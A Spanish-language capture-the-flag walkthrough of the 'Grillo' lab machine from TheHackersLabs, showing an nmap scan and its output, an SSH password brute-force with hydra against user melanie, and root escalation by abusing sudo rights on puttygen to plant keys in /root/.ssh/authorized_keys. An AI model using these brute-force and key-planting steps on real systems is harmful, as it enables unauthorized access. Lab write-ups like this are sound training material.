Reconocimiento

En esta etapa inicial realizamos un escaneo de puertos para identificar los servicios activos en la máquina objetivo. Utilizamos Nmap con parámetros específicos para lograr un análisis más detallado.

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sudo nmap -p- --open -sS -sCV --min-rate 3000 -Pn -n -oN grillo.txt 192.168.100.7
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Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-03 19:35 -03
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Nmap scan report for 192.168.100.7
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Host is up (0.00097s latency).
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Not shown: 65533 closed tcp ports (reset)
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PORT   STATE SERVICE VERSION
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22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
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| ssh-hostkey:
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|   256 9c:e0:78:67:d7:63:23:da:f5:e3:8a:77:00:60:6e:76 (ECDSA)
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|_  256 4b:30:12:97:4b:5c:47:11:3c:aa:0b:68:0e:b2:01:1b (ED25519)
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80/tcp open  http    Apache httpd 2.4.57 ((Debian))
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|_http-title: Apache2 Debian Default Page: It works
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|_http-server-header: Apache/2.4.57 (Debian)
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MAC Address: 00:0C:29:51:25:FE (VMware)
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
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Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

Detalles del comando:

-p-: Escaneo de todos los puertos.
--open: Muestra solo puertos abiertos.
-sS: Escaneo SYN para determinar el estado de los puertos.
-sCV: Usa scripts por defecto y detectar versiones de servicios.
--min-rate 5000: Establece un ritmo mínimo de escaneo.
-n: Desactiva la resolución DNS.
-Pn: Omite la detección de hosts activos.
-oN Escaneo: Guarda los resultados en el archivo “Escaneo”.

Puertos descubiertos:

22/tcp - SSH (OpenSSH 9.2p1)
80/tcp - HTTP (Apache 2.4.57)

Exploración Web

Ingresamos al sitio mediante el navegador accediendo a la IP descubierta en el escaneo. Nos encontramos con la página por defecto de Apache en Debian. Revisando el código fuente de la página, encontramos una pista interesante:

“Cambia la contraseña de ssh por favor melanie.”

Explotación

Aplicamos fuerza bruta al servicio SSH usando el usuario melanie y el diccionario rockyou.txt:

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hydra -l melanie -P /usr/share/wordlists/rockyou.txt 192.168.100.7 ssh -t 64

Se encuentra la contraseña válida: trustno1

Escalada de Privilegios

Una vez dentro de la máquina, verificamos permisos con:

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sudo -l

Descubrimos que podemos ejecutar puttygen como root.

Uso de puttygen para escalar

Puttygen se utiliza para generar claves SSH. Generamos una clave para root con los siguientes pasos:

💡 Nota: Es posible que tengas que crear la carpeta .ssh manualmente con mkdir ~/.ssh si no existe.

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puttygen -t rsa -b 2048 -O private-openssh -o ~/.ssh/id
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puttygen -L ~/.ssh/id >> ~/.ssh/authorized_keys
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sudo puttygen /home/melanie/.ssh/id -o /root/.ssh/id
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sudo puttygen /home/melanie/.ssh/id -o /root/.ssh/authorized_keys -O public-openssh
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scp melanie@192.168.100.7:/home/melanie/.ssh/id .
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ssh -i id root@192.168.100.7

Primero, se genera una nueva clave SSH RSA de 2048 bits y se guarda en ~/.ssh/id. Luego, se extrae la clave pública desde ese archivo y se agrega al final de ~/.ssh/authorized_keys para habilitar el acceso por clave. Posteriormente, la clave privada se transfiere al directorio seguro /root/.ssh/, y la pública se exporta en formato OpenSSH a /root/.ssh/authorized_keys, permitiendo así la autenticación como root. Finalmente, se copia la clave privada desde la máquina remota a tu entorno local mediante scp, y se establece la conexión SSH con el usuario root usando:

Con esto obtenemos acceso completo como root.

🎉 ¡Root conseguido!

Hemos completado exitosamente la máquina Grillo de TheHackersLabs.

The Hackers Labs: